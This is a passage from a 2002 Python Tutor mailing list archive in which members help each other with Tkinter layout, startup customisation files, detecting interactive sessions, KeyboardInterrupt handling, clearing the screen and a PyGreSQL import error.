does not create the floating integer behavior in the IDE's interpreter or
in the Python Interpreter itself.

/c



From rick@niof.net  Fri Feb  1 20:40:15 2002
From: rick@niof.net (rick@niof.net)
Date: Fri, 1 Feb 2002 15:40:15 -0500
Subject: [Tutor] resizing Tkinter widgets
In-Reply-To: <200202011722.MAA17877@robotron.gpcc.itd.umich.edu>
References: <200202011722.MAA17877@robotron.gpcc.itd.umich.edu>
Message-ID: <20020201204014.GA1569@tc.niof.net>

On Fri, Feb 01, 2002 at 12:22:32PM -0500, Lance E Sloan wrote:
> 
> 
> It's been a while since I've posted to this list, but I've been
> lurking and reading.  I've got a Tkinter question and if it would
> be better addressed to some other mailing list, like a Tkinter
> one, please let me know.
> 
> I'm new to Tkinter and GUI programming in general.  I'm having
> trouble figuring out how to make my Listbox and Scrollbar widgets
> grow and shrink when the Tk window is resized.  Here's some
> code that I've been monkeying with, trying to make this work:
> 
> 	from Tkinter import *
> 
> 	master = Tk()
> 	master.config(bg="green")
> 
> 	frame = Frame(master, bg="blue")
> 	scrollbar = Scrollbar(frame, orient=VERTICAL)
> 	listbox = Listbox(frame, yscrollcommand=scrollbar.set, bg="red")
> 	scrollbar.config(command=listbox.yview)
> 	scrollbar.pack(side=RIGHT, fill=Y)
> 	listbox.pack(side=LEFT, fill=BOTH, expand=1)
> 
> 	listbox.insert(END, 'abc')
> 
> 	frame.pack()

    frame.pack(fill=BOTH,expand=1)

> 	master.mainloop()

You didn't tell the frame to expand so it always stays the same size.

-- 
Property is prior to law; the sole function of the law is to
safeguard the right to property wherever it exists, wherever it is
formed, in whatever manner the worker produces it, whether
individually or in association, provided that he respects the
rights of others.
	-- Frédéric Bastiat (1801-1850)
    Rick Pasotto    rickp@telocity.com    http://www.niof.net


From dyoo@hkn.eecs.berkeley.edu  Fri Feb  1 22:41:33 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Fri, 1 Feb 2002 14:41:33 -0800 (PST)
Subject: [Tutor] sitecustomize and pythonstartup
In-Reply-To: <fc.004c4b6b008b76f83b9aca000e125da4.8b772c@blakeschool.org>
Message-ID: <Pine.LNX.4.21.0202011436250.7648-100000@hkn.eecs.berkeley.edu>

On Fri, 1 Feb 2002, Christopher Smith wrote:

> OK, the question is this.  The interpreter can be educated as to what
> modules are loaded (i.e. if pythonstartup imports math, you can type
> math.pi in the interpreter and be understood).  Is there a way to get
> this to happen in the IDE's interpreter as well?  If sitecustomize.py
> imports math I can't seem to access that at the >>> prompt.

Yes, it's possible.  If we add the following fragment to our
sitecustomize.py:

###
import math
import __builtin__
__builtin__.math = math
del math
###

then the math module will magically turn on for all new interactive
sessions.  Pretty convenient!  *grin* At least, this works from a regular
interpreter window; I'm not quite so sure if this will work with all
IDE's.



From csmith@blakeschool.org  Fri Feb  1 22:59:08 2002
From: csmith@blakeschool.org (Christopher Smith)
Date: Fri, 01 Feb 2002 16:59:08 -0600
Subject: [Tutor] Re: a bug?
In-Reply-To: <NEBBJNMDEKBIBCMCNMBDEEBJDAAA.karthikg@aztec.soft.net>
References: <NEBBJNMDEKBIBCMCNMBDEEBJDAAA.karthikg@aztec.soft.net>
Message-ID: <fc.004c4b6b008b77ed004c4b6b008b5ead.8b77fd@blakeschool.org>

karthikg@aztec.soft.net writes:
>>
>> Would you consider the type returned by the 3rd line below to be an
>error?
> If so, how do I report it?  I am running Python on a Mac.
>>>> type(type)
><type 'type'
>
>>>
>
>Quoting a mail from Alan:
>....
>I've been reading about metaclasses recently and came across
>the following comment in an essay (by Guido?) which I thought
>deserved an airing. The sad thing is that it does make sense
>when you read it a few times...
>
>" In core Python there is only one meta-type, the type ``type''
>(types.TypeType), which is the type of all type objects, even
>itself. "
>
>;-)
<cut>
>Hope that answers your question.

Yes, but the quote that was more to the point for me right now is:

"On first reading, you may want to skip directly to the examples in the
section "Writing Metaclasses in Python" below, unless you want your head
to explode."

This is way over my hear right now.  I see that type having the type
'type' is not a bug for some very interesting reasons...that I might
understand by and by. ;-)

Thanks for the ref.

/c



From csmith@blakeschool.org  Fri Feb  1 23:04:40 2002
From: csmith@blakeschool.org (Christopher Smith)
Date: Fri, 01 Feb 2002 17:04:40 -0600
Subject: [Tutor] reset and IDE
Message-ID: <fc.004c4b6b008b78173b9aca000e125da4.8b7826@blakeschool.org>

Now that I have started teaching Python in school, I can see that I would
really like it if the IDE would automatically flush out the namespace so
that all functions and modules would be reloaded when a script is re-run. 
A "reset" script was offered during the 2001 summer by Jesse W  on the
tutor list and I use it regularly myself but would love to have this be
the automatic behavior when the "Run All" button is pressed in the IDE (on
the Mac).  Here is the script:

def reset(namespace, user_safe_items=()):
	"""Reset given namespace to a "pristine" state.

	This is a widely requested function which will remove from the
	current namespace everything execpt the items listed in
	below."""
	safe_items=['__builtins__', '__doc__', '__name__', 'reset']\
		    +list(user_safe_items)
	for item in namespace.keys():
		if item not in safe_items:
			exec ("del "+item) in namespace

When running this from a script I just type "reset(vars())" at the top of
the program to avert having functions that I have changed not be read as
changed by Python.

A couple questions here:

1) If I wanted to build a copy of the IDE with this as the default
behavior, where do I have to insert this code?  (I was unable to find
where a press on the "Run All" button takes you in terms of program flow.)

2) Instead of wiping out the whole namespace, might another productive
approach be to keep track of dirty modules and reload them.  But hmm...if
someone were using a different editor to edit the files then there would
be no way of knowing that those modules had changed.  But if someone only
used the IDE for development, then this would be feasible.  Every time a
module is opened and edited, its name would be added to the list of dirty
modules.  Then, when a script is to be executed, the names of all dirty
modules would be deleted from that script's namespace if they exist *and
then* normally running of the script would occur.  Something like:

RunAll is pressed on script with namespace = "foo"
for item in dirty:
	exec ("del "+item) in foo
Do normal action that RunAll would do

Is this feasible somewhere in the Python code for the IDE?

/c



From ainsoph3@attbi.com  Sat Feb  2 05:43:56 2002
From: ainsoph3@attbi.com (chris schwan)
Date: 01 Feb 2002 21:43:56 -0800
Subject: [Tutor] idle and redhat
Message-ID: <1012628636.7615.2.camel@milarepa>

Hey folks,

have another quick question. I am using redhat 7.2 and I am sorting this
out using python 1.5.2 for system tools and python 2.1 for my own
learning.

I have started to use IDLE and have not been able to find out how to get
IDLE to use python 2.1 instead of 1.5.2 in this redhat 7.2 environ. Any
tips?

thanks in advance.

Chris



From Jack.Jansen@oratrix.nl  Fri Feb  1 23:16:44 2002
From: Jack.Jansen@oratrix.nl (Jack Jansen)
Date: Sat, 2 Feb 2002 00:16:44 +0100
Subject: [Tutor] Re: [Pythonmac-SIG] sitecustomize and pythonstartup
In-Reply-To: <fc.004c4b6b008b76f83b9aca000e125da4.8b772c@blakeschool.org>
Message-ID: <C24867EC-1769-11D6-9B87-003065517236@oratrix.nl>

There's some good info in your piece, I would really like it if 
it could be turned into something (customizing.html?) that could 
go into the documentation at some point.

Some comments:

On Friday, February 1, 2002, at 11:26  PM, Christopher Smith wrote:

> I've been trying to learn what behaviors can be automated at 
> start up and
> have come up with the following which might be useful for others.
> Corrections are welcome.  It also raises a question that I ask below.
>
> ---
>
> _____
> A script can
>
> 	import user
>
> which will run the script ".pythonrc.py" if it exists in the same
> directory as the script.  Objects in .pythonrc.py (imported modules,
> function definitions, or variables) are accessible to the 
> calling script
> by using the "user." prefix.  For example, if math has been loaded in
> .pythonrc.py, the main program can access math.pi as user.math.pi  {see
> user.py}
>
> _____
> The Python IDE will attempt to load a file named 
> sitecustomize.pyc if it
> exists on the paths defined by sys.path.  No objects therein (modules,
> functions, variables) are accessible to the IDE interactive console or
> scripts, but changes to variables like sys.path can be made. If 
> there is
> any printing done in the file, this will create a window titled "Python
> IDE.out" which can be moved and resized but not closed.  {see 
> site.py and
> the file sitecustomize.py}

Actually sitecustomize.py works just as well as .pyc. The 
sitecustomize module is simply imported (by site.py, which is in 
it's turn "magically" imported during startup of every 
interpreter, interactive, running a script or applet (such as 
IDE).

The bit about the Python IDE.out window is a bug, really: 
sitecustomize is imported before the IDE is running, so the 
output is going to the "normal" PythonInterpreter output window, 
which is normally suppressed. Unfortunately it is a bug that is 
difficult to fix (because fixing it would mean that IDE crashes 
resulted in no stack trace).

> _____
> The Python Interpreter will attempt to run the 
> sitecustomize.pyc script if
> it exists on the paths defined by sys.path.  No objects therein 
> (modules,
> functions, variables) are accessible to the IDE interactive console or
> scripts.
>
> The Interpreter will also attempt to import and run the 
> contents of a file
> named PythonStartup if it exists on in the same directory as the
> interpreter.  Objects in PythonStartup are then accessible 
> directly to the
> interpreter (e.g. if "import math" appears in PythonStartup then typing
> "math.pi" in the interpreter will yield the value of pi).  
> Commands like
> "from __future__ import division" will not affect the Interpreter,
> however, and must be reimported there.  If PythonStartup 
> imports a module
> A which in turn imports a module B, B's namespace must be accessed as
> A.B.name. {see section "Interactive startup file" in the 
> using.html file
> in the Mac:Demo folder.
>
>
>
>
> -------
>
> OK, the question is this.  The interpreter can be educated as to what
> modules are loaded (i.e. if pythonstartup imports math, you can type
> math.pi in the interpreter and be understood).  Is there a way 
> to get this
> to happen in the IDE's interpreter as well?  If 
> sitecustomize.py imports
> math I can't seem to access that at the >>> prompt.

This would be A Good Thing. Maybe you can submit it as a feature 
request in the sourceforge tracker? You can assign it to jvr, 
which is Just:-)

> Also, is there a way to get "from __future__ import division" to be the
> default behavior in the interpreter?  This statement in the 
> startup file
> does not create the floating integer behavior in the IDE's 
> interpreter or
> in the Python Interpreter itself.

Hmm, I there may be a good reason for this, but it might also be 
an oversight. You definitely don't want to enable it globally 
(as this would break lots of standard modules) but I can't think 
of a reason why it can't be enabled for the interactive 
interpreter in PythonStartup (or the unix-equivalent 
PYTHONSTARTUP environment variable). Maybe submit this as a 
feature request (or bug report) too? I'm not sure who you should 
assign this to, probably Guido.
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- 
Emma Goldman -



From Jack.Jansen@oratrix.nl  Fri Feb  1 23:18:11 2002
From: Jack.Jansen@oratrix.nl (Jack Jansen)
Date: Sat, 2 Feb 2002 00:18:11 +0100
Subject: [Pythonmac-SIG] Re: [Tutor] sitecustomize and pythonstartup
In-Reply-To: <Pine.LNX.4.21.0202011436250.7648-100000@hkn.eecs.berkeley.edu>
Message-ID: <F5797767-1769-11D6-9B87-003065517236@oratrix.nl>

On Friday, February 1, 2002, at 11:41  PM, Danny Yoo wrote:

> On Fri, 1 Feb 2002, Christopher Smith wrote:
>
>> OK, the question is this.  The interpreter can be educated as to what
>> modules are loaded (i.e. if pythonstartup imports math, you can type
>> math.pi in the interpreter and be understood).  Is there a way to get
>> this to happen in the IDE's interpreter as well?  If sitecustomize.py
>> imports math I can't seem to access that at the >>> prompt.
>
> Yes, it's possible.  If we add the following fragment to our
> sitecustomize.py:
>
> ###
> import math
> import __builtin__
> __builtin__.math = math
> del math
> ###

But this will not only make it show up in interactive 
interpreters, it will also make it show up globally, in every 
module. I'm not sure this is a good idea...
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- 
Emma Goldman -



From dyoo@hkn.eecs.berkeley.edu  Sat Feb  2 10:38:05 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Sat, 2 Feb 2002 02:38:05 -0800 (PST)
Subject: [Pythonmac-SIG] Re: [Tutor] sitecustomize and pythonstartup
In-Reply-To: <F5797767-1769-11D6-9B87-003065517236@oratrix.nl>
Message-ID: <Pine.LNX.4.21.0202020119040.18859-100000@hkn.eecs.berkeley.edu>

On Sat, 2 Feb 2002, Jack Jansen wrote:
> > Yes, it's possible.  If we add the following fragment to our
> > sitecustomize.py:
> >
> > ###
> > import math
> > import __builtin__
> > __builtin__.math = math
> > del math
> > ###
> 
> But this will not only make it show up in interactive 
> interpreters, it will also make it show up globally, in every 
> module. I'm not sure this is a good idea...


Good point!  Yikes..., ok if we want this automatic math import to work on
interactive sessions without completely munging every other library in
Python, perhaps we can employ a variation of the tricky code that
pydoc.help() uses to try detecting if a session is interactive:


###
import inspect
def isInteractive():
    """Returns 1 if we're running in an interpreter window, and false
    otherwise.  At least, it tries to.  This is a variation of what
    pydoc.help() tries."""
    return inspect.stack()[-1][1:4] == (None, 1, "?")
###

The idea of this is to look at the very end of the frame stack, and if the
following three characteristics hold:

    1.  The "file" part of the frame is None.
    2.  We're on line number 1.
    3.  We have no clue what function we're in. ("?")

then we're probably in interactive mode.


And speaking of no clue... I have NO clue if this will work on an IDE.  I
think that other IDE's actually set the "file name" to something other
than "None", so perhaps this heuristic needs to be relaxed.  Does anyone
know a better way of testing if we're in interactive mode or not?


If we have something like this like this, we might be able to limit the
extent of the math import to just interactive shells:

###
## Within sitecustomize.py

import inspect
def isInteractive():
    """Returns 1 if we're running in an interpreter window, and false
    otherwise.  At least, it tries to.  This is a variation of what
    pydoc.help() tries."""
    return inspect.stack()[-1][1:4] == (None, 1, "?")

class _InteractiveMath:
    def __repr__(self):
        if isInteractive():
            import math
            return repr(math)
        else:
            raise NameError, 'name "math" is not defined'

    def __getattr__(self, attr):
        if isInteractive():
            import math
            return getattr(math, attr)
        else:
            raise NameError, 'name "math" is not defined'

import __builtin__
__builtin__.math = _InteractiveMath()
###

To tell the truth, I feel very somewhat ashamed about this code, as it
doesn't quite work perfectly.  It tries to simulate the NameErrors that
should occur in a noninteractive Python program --- the _InteractiveMath()
instance tries to pretend that it's not there if the right person doesn't
knock --- but either way, we can still hear some strange shuffling behind
the door.  *sigh*


This is what I could cook up in thirty minutes, and I'm sure there's a
better way to do this.



From lonetwin <lonetwin@yahoo.com>  Sat Feb  2 11:13:58 2002
From: lonetwin <lonetwin@yahoo.com> (lonetwin)
Date: Sat, 2 Feb 2002 16:43:58 +0530 (IST)
Subject: [Tutor] [Q] about threads
Message-ID: <Pine.LNX.4.30.0202021620350.5859-100000@mercury.worli>

Hi everybody,
    I'm playing around with threads using python on linux. Everthing is
working fine ...but (everything seems to have a "but" ...right ?? :)) I
can't seem to print a nice message and end the application, if there
is a KeyboardInterrupt generated.
     As always I find saying things in code easier than expressing them
in plain english, so here goes:

within my main I have something like:
=========================================
for i in range(numThreads):
	TestThread = TestApp(var, SharedLock)
	ThreadList.append(TestThread)

for TestThread in ThreadList:
	TestThread.start()

while threading.activeCount() > 1:
	pass

doCleanUp()

=========================================
...and the class TestApp has something like:
=========================================
def run(self):
	self.lock.acquire()
	doStuff()
	self.lock.release()
==========================================
    Now, if a KeyboardInterrupt exception is raised during the execution of
doStuff(), how do I catch it, kill all the threads and exit the
application, probably printing "Aieee ....I got killed" on the way ??

   I tried placing try-except blocks at different places, but all I got
done was exit the thread and print the message, somehow the other
threads were quite comfortable with the fact that one of them is dead,
they just go about their own business as though nothing has happened ...

......and like always, I'm going nuts, b'cos ...
...I just don't get it !!!!

any help would be welcome,

Peace
Steve
-- 
He who wonders discovers that this in itself is wonder.
		-- M.C. Escher



From arcege@speakeasy.net  Sat Feb  2 14:55:42 2002
From: arcege@speakeasy.net (Michael P. Reilly)
Date: Sat, 2 Feb 2002 09:55:42 -0500
Subject: [Tutor] KeyboardInterrupt handler
In-Reply-To: <3C59C1E5.7060805@venix.com>; from pythontutor@venix.com on Thu, Jan 31, 2002 at 05:15:01PM -0500
References: <3C59C1E5.7060805@venix.com>
Message-ID: <20020202095542.E1533@speakeasy.net>

On Thu, Jan 31, 2002 at 05:15:01PM -0500, Lloyd Kvam wrote:
> Would it be practical to write a KeyboardInterrupt handler that "resumed" execution?
> 
> Since the debugger seems to do this kind of thing, I assume the traceback object and
> its frame list could be used to accomplish a resume.  (This is more idle curiosity than
> any real need.)  Searching Google, my books, and the manual failed to come up with
> anything useful.

You can't restart Python from a frame (there is a version of Python
called "Microthreads" where you can handle continuations, but not in
Python itself).

The debugger doesn't do what you might think it does.  There is a hook
in the Python interpreter that can run code.  The debugger carefully
manages what code runs via this hook, and it can capture what exceptions
are being handled.
(cf. <URL: http://www.python.org/doc/current/lib/debugger-hooks.html>)

Typically, you'd write code that would reset what you are doing and
continue in whatever you were doing.  Most importantly, if you have
something you are doing, then wrap it in a try-finally statement.
For example, if you had a command interpreter.

while 1:
  try:
    cmd = raw_input(prompt)
    ...
    if cmd == 'change':
      # call something that could potentially break if the user
      # interrupted
      make_change()
  # catch the exception and reset the interpreter
  except KeyboardInterrupt:
    reset()  # maybe just print so the prompt starts in the first column

def make_change():
  try:
    os.rename('file', 'file.temp')
    inf = open('file.temp', 'rb')
    outf = open('file', 'wb')
    modify_file(inf, outf)
    inf.close()
    outf.close()
  # if there is an error, then the files will still be open,
  # and we will back-out the changes
  # in this case, if the user types ^C, we move the files back and
  # the exception gets back to the loop above to reset the command
  finally:
    if not outf.closed: # we didn't finish it
      outf.close()
      try:
        os.remove('file')
      except:
        pass
      inf.close()
      os.rename('file.temp', 'file')
    # otherwise, things completed successfully

Most database extensions will have provisions for rolling back
transactions.  But you can do most everything in a similar way at
some level.  I had to do this same exact thing ten years ago, writing
a bullet-proof command interpreter in Bourne shell.  Using the
debugging mechanism is not going to help much to handle rolling back
operations like the above.

Your original question is: would it be practical.  My response is: if
the user interrupted the program for a reason... should you resume at
the same place?  That might help you answer your question.

  -Arcege



From rufmetal@rogers.com  Sat Feb  2 15:40:40 2002
From: rufmetal@rogers.com (Chris Keelan)
Date: Sat, 2 Feb 2002 10:40:40 -0500
Subject: [Tutor] help
In-Reply-To: <20020131173722.55333.qmail@web13908.mail.yahoo.com>
References: <20020131173722.55333.qmail@web13908.mail.yahoo.com>
Message-ID: <20020202104040.1d4773af.rufmetal@rogers.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Thu, 31 Jan 2002 09:37:22 -0800 (PST): In attempt to throw the
authorities off his trail, james middendorff <james2dope@yahoo.com>
transmitted:


> any way to clear it before it displays the menu again? 

import os

os.system('clear')  #for *nix

os.system('cls')    #for Windows/DOS


Implementing a test for which os the script is running on is left as
an exercise for the reader ;o)


~ C

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: Processed by Mailcrypt 3.5.6 and Gnu Privacy Guard
<http://www.gnupg.org/>

iD8DBQE8XAhcs7Brp8Mn7wcRAgtDAJ9sa7hshDCx8ScMjtSBfCO2bx0W1gCfW8LL
UJsrco0sr4r8efr25ZSDDWM=
=MxqV
-----END PGP SIGNATURE-----


From pythontutor@venix.com  Sat Feb  2 17:10:22 2002
From: pythontutor@venix.com (Lloyd Kvam)
Date: Sat, 02 Feb 2002 12:10:22 -0500
Subject: [Tutor] KeyboardInterrupt handler
References: <3C59C1E5.7060805@venix.com> <20020202095542.E1533@speakeasy.net>
Message-ID: <3C5C1D7E.9030108@venix.com>

Thanks very much!

I was running one of my Python programs that produces a report.
This run took an unusually long time.  It struck me that an interrupt handler
that displayed some progress information and offered a chance to cancel or
resume could be useful.

Michael P. Reilly wrote:

> On Thu, Jan 31, 2002 at 05:15:01PM -0500, Lloyd Kvam wrote:
> 
>>Would it be practical to write a KeyboardInterrupt handler that "resumed" execution?
>>
>>Since the debugger seems to do this kind of thing, I assume the traceback object and
>>its frame list could be used to accomplish a resume.  (This is more idle curiosity than
>>any real need.)  Searching Google, my books, and the manual failed to come up with
>>anything useful.
>>
> 
> You can't restart Python from a frame (there is a version of Python
> called "Microthreads" where you can handle continuations, but not in
> Python itself).
> 
> The debugger doesn't do what you might think it does.  There is a hook
> in the Python interpreter that can run code.  The debugger carefully
> manages what code runs via this hook, and it can capture what exceptions
> are being handled.
> (cf. <URL: http://www.python.org/doc/current/lib/debugger-hooks.html>)
> 
> Typically, you'd write code that would reset what you are doing and
> continue in whatever you were doing.  Most importantly, if you have
> something you are doing, then wrap it in a try-finally statement.
> For example, if you had a command interpreter.
> 
> while 1:
>   try:
>     cmd = raw_input(prompt)
>     ...
>     if cmd == 'change':
>       # call something that could potentially break if the user
>       # interrupted
>       make_change()
>   # catch the exception and reset the interpreter
>   except KeyboardInterrupt:
>     reset()  # maybe just print so the prompt starts in the first column
> 
> def make_change():
>   try:
>     os.rename('file', 'file.temp')
>     inf = open('file.temp', 'rb')
>     outf = open('file', 'wb')
>     modify_file(inf, outf)
>     inf.close()
>     outf.close()
>   # if there is an error, then the files will still be open,
>   # and we will back-out the changes
>   # in this case, if the user types ^C, we move the files back and
>   # the exception gets back to the loop above to reset the command
>   finally:
>     if not outf.closed: # we didn't finish it
>       outf.close()
>       try:
>         os.remove('file')
>       except:
>         pass
>       inf.close()
>       os.rename('file.temp', 'file')
>     # otherwise, things completed successfully
> 
> Most database extensions will have provisions for rolling back
> transactions.  But you can do most everything in a similar way at
> some level.  I had to do this same exact thing ten years ago, writing
> a bullet-proof command interpreter in Bourne shell.  Using the
> debugging mechanism is not going to help much to handle rolling back
> operations like the above.
> 
> Your original question is: would it be practical.  My response is: if
> the user interrupted the program for a reason... should you resume at
> the same place?  That might help you answer your question.
> 
>   -Arcege
> 
> 
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor
> 
> 


-- 
Lloyd Kvam
Venix Corp.
1 Court Street, Suite 378
Lebanon, NH 03766-1358

voice: 
603-443-6155
fax: 
801-459-9582



From csmith@blakeschool.org  Sat Feb  2 17:22:22 2002
From: csmith@blakeschool.org (Christopher Smith)
Date: Sat, 02 Feb 2002 11:22:22 -0600
Subject: [Tutor] Re: sitecustomize and pythonstartup
In-Reply-To: <Pine.LNX.4.21.0202020119040.18859-100000@hkn.eecs.berkeley.edu>
References: <Pine.LNX.4.21.0202020119040.18859-100000@hkn.eecs.berkeley.edu>
Message-ID: <fc.004c4b6b008b811c3b9aca00b6da6c55.8b817a@blakeschool.org>

>On Sat, 2 Feb 2002, Jack Jansen wrote:
>> > Yes, it's possible.  If we add the following fragment to our
>> > sitecustomize.py:
>> >
>> > ###
>> > import math
>> > import __builtin__
>> > __builtin__.math = math
>> > del math
>> > ###
>> 
>> But this will not only make it show up in interactive 
>> interpreters, it will also make it show up globally, in every 
>> module. I'm not sure this is a good idea...
>
>
>Good point!  Yikes..., ok if we want this automatic math import to work on
>interactive sessions without completely munging every other library in
>Python, perhaps we can employ a variation of the tricky code that
>pydoc.help() uses to try detecting if a session is interactive:
>
>
>###
>import inspect
>def isInteractive():
>    """Returns 1 if we're running in an interpreter window, and false
>    otherwise.  At least, it tries to.  This is a variation of what
>    pydoc.help() tries."""
>    return inspect.stack()[-1][1:4] == (None, 1, "?")
>###
>
>The idea of this is to look at the very end of the frame stack, and if the
>following three characteristics hold:
>
>    1.  The "file" part of the frame is None.
>    2.  We're on line number 1.
>    3.  We have no clue what function we're in. ("?")
>
>then we're probably in interactive mode.
>
>
>And speaking of no clue... I have NO clue if this will work on an IDE.  I
>think that other IDE's actually set the "file name" to something other
>than "None", so perhaps this heuristic needs to be relaxed.  Does anyone
>know a better way of testing if we're in interactive mode or not?

Your code is very close to working in the IDE.  It didn't initially,
so I printed out the contents of the stack() and saw that on the Mac
the (None, 1, "?") appears up toward the top after lines telling what 
current function is running.  So to make the code work I had to change
your [-1] to a [2] and then it works fine:  math is automatically 
loaded and available to the interactive display.  Unfortunately, it
also enabled a call to math that occured in the first line of a script!?

The problem was that the (None, 1, "?") tuple appears in the stack of an
untitled
new script which has, as it's first line, "print math.pi" :-)  So, I
looked at the stack again and saw that PyInteractive appeared in the next
line whereas the stack for a script contains PyEdit instead, so there, I
think is the way to know if you are in the Interactive window or not.

The new code for sitecustomize.py is below and will work, I believe
as long as the name of the Interactive script doesn't change from
PyInteractive.  It will also break if some other functions are running 
before the call to _InteractiveMath (e.g. the __getattr__ appears on 
the stack above the line telling that PyInteractive is running and that's
what makes you have to read further down in the stack to [3] to find the
PyInteractive).

####
def isInteractive():
    """Returns 1 if we're running in an interpreter window, and false
    otherwise.  This is a variation of what pydoc.help() tries."""
    
    """
    return inspect.stack()[3][1].find("PyInteractive")<>0
>
>class _InteractiveMath:
>    def __repr__(self):
>        if isInteractive():
>            import math
>            return repr(math)
>        else:
>            raise NameError, 'name "math" is not defined'
>
>    def __getattr__(self, attr):
>        if isInteractive():
>            import math
>            return getattr(math, attr)
>        else:
>            raise NameError, 'name "math" is not defined'
>
>import __builtin__
>__builtin__.math = _InteractiveMath()
>###

Perhaps this could be extended now to look for module aliases in a folder
like "AutoLoad" and automatically load these at startup, too.  (I would
copy the behavior of the present sitecustomize script that ships with the
mac version which appends search paths to sys.path.)

Thanks for the help, all.

(Now, thanks to the point from Just, I will take a look at getting the 
reset to work in the IDE.)

/c



From mikalzet@libero.it  Sat Feb  2 17:33:42 2002
From: mikalzet@libero.it (mikalzet@libero.it)
Date: Sat, 2 Feb 2002 18:33:42 +0100 (CET)
Subject: [Tutor] PyGreSQL problem
In-Reply-To: <3C5C1D7E.9030108@venix.com>
Message-ID: <Pine.LNX.4.33L2.0202021819330.8908-100000@localhost.localdomain>

I'm using Python 2.1.1 on a linux mandrake 8.1 system.
The supplied module for interfacing with Postgres is
PyGreSQL.

On python.org/topics/database/modules the voice links to
http://www.druid.net/pygresql

The relevant readme says that the module may be used in two ways:

1) import _pg  :  not api 2.0 compliant; it then goes on to describe how
it works;

2) import pgdb   : api 2.0 compliant wrapper; to use this it says to go to
api 2 documentation

But if I try this I get:

Traceback (most recent call last):
  File "<stdin>", line 1, in ?
  File "/usr/lib/python2.1/site-packages/pgdb.py", line 65, in ?
    except ImportError: import DateTime
ImportError: No module named DateTime

so which DateTime module is it looking for ?

-- 
Michele Alzetta



From urnerk@qwest.net  Sat Feb  2 17:40:53 2002
From: urnerk@qwest.net (Kirby Urner)
Date: Sat, 02 Feb 2002 09:40:53 -0800
Subject: [Tutor] idle and redhat
In-Reply-To: <1012628636.7615.2.camel@milarepa>
Message-ID: <4.2.0.58.20020202093906.019f4e40@pop3.norton.antivirus>

>
>I have started to use IDLE and have not been able to find
>out how to get IDLE to use python 2.1 instead of 1.5.2 in
>this redhat 7.2 environ. Any
>tips?
>
>thanks in advance.
>
>Chris

Each Python version should have its own IDLE.  The 2.1
version might not have installed it by default, if
you compiled your own.  I think it's in a /Tools
subdirectory, and you may need to use dsutils to
install it -- only did it once on Mandrake Linux, so
I'm not the most expert here.  But I do think you want
to have a separate IDLE for each version of Python you
run.

Kirby



From csmith@blakeschool.org  Sat Feb  2 17:54:02 2002
From: csmith@blakeschool.org (Christopher Smith)
Date: Sat, 02 Feb 2002 11:54:02 -0600
Subject: [Tutor] Re: sitecustomize and pythonstartup
In-Reply-To: <Pine.LNX.4.21.0202020119040.18859-100000@hkn.eecs.berkeley.edu>
References: <Pine.LNX.4.21.0202020119040.18859-100000@hkn.eecs.berkeley.edu>
Message-ID: <fc.004c4b6b008b81b43b9aca00b6da6c55.8b81cc@blakeschool.org>

>####
>def isInteractive():
>    """Returns 1 if we're running in an interpreter window, and false
>    otherwise.  This is a variation of what pydoc.help() tries."""
>    
>    """
>    return inspect.stack()[3][1].find("PyInteractive")<>0
>
Well...this doesn't quite work because in a script, [3][1] might return
None which doesn't support the find function.  SO...rather than guess
where that PyInteractive might be I just turned the whole stack into a
string and looked for it.  The only problem with that is that even in a
script, the stack will contain the word "PyInteractive" because that is
the text that is being searched for.  SO...I just pulled out element [1]
from the stack and search through it for "PyInteractive" and that works:

def isInteractive():
.
.
.
    return str([x[1] for x in inspect.stack()]).find("PyInteractive")>-1

So math can now be accessed at the interpreter's prompt and within a
function:

>>> def f():
...  print math.pi
... 
>>> f()
3.14159265359
>>> math.pi
3.1415926535897931
>>>

So the IDE now behaves like the Interpreter in this regard.

In a script created within the IDE, both of the the following attempts at
printing pi fail (as they should):

print math.pi
def f():
	print math.pi
f()



/c



From pythontutor@venix.com  Sat Feb  2 18:07:21 2002
From: pythontutor@venix.com (Lloyd Kvam)
Date: Sat, 02 Feb 2002 13:07:21 -0500
Subject: [Tutor] PyGreSQL problem
References: <Pine.LNX.4.33L2.0202021819330.8908-100000@localhost.localdomain>
Message-ID: <3C5C2AD9.3010509@venix.com>

My best guess is the Lemburg mxDateTime module.
http://www.lemburg.com/files/python/mxDateTime.html
mxDateTime - Date/time types for Python

The mx doesn't appear in your Python code. simply import DateTime
and you are in business.  This is a very comprehensive module.

mikalzet@libero.it wrote:

> I'm using Python 2.1.1 on a linux mandrake 8.1 system.
> The supplied module for interfacing with Postgres is
> PyGreSQL.
> 
> On python.org/topics/database/modules the voice links to
> http://www.druid.net/pygresql
> 
> The relevant readme says that the module may be used in two ways:
> 
> 1) import _pg  :  not api 2.0 compliant; it then goes on to describe how
> it works;
> 
> 2) import pgdb   : api 2.0 compliant wrapper; to use this it says to go to
> api 2 documentation
> 
> But if I try this I get:
> 
> Traceback (most recent call last):
>   File "<stdin>", line 1, in ?
>   File "/usr/lib/python2.1/site-packages/pgdb.py", line 65, in ?
>     except ImportError: import DateTime
> ImportError: No module named DateTime
> 
> so which DateTime module is it looking for ?
> 
> 


-- 
Lloyd Kvam
Venix Corp.
1 Court Street, Suite 378
Lebanon, NH 03766-1358

voice: 
603-443-6155
fax: 
801-459-9582



From csmith@blakeschool.org  Sat Feb  2 22:45:39 2002
From: csmith@blakeschool.org (Christopher Smith)
Date: Sat, 02 Feb 2002 16:45:39 -0600
Subject: [Tutor] RE: reset and IDE
In-Reply-To: <20020202081542-r01010800-eb2e2c7b-0920-010c@10.0.0.23>
References: <20020202081542-r01010800-eb2e2c7b-0920-010c@10.0.0.23>
Message-ID: <fc.004c4b6b008b84983b9aca000e125da4.8b84e4@blakeschool.org>

just@letterror.com writes:
>Christopher Smith wrote:
>
>> 1) If I wanted to build a copy of the IDE with this as the default
>> behavior, where do I have to insert this code?  (I was unable to find
>> where a press on the "Run All" button takes you in terms of program
>flow.)
>
>Have a look at PyEdit.py, the run() method of the Editor class.

Thanks for the pointer, Just.

Here's what I've come up with so far.  In the _run function I
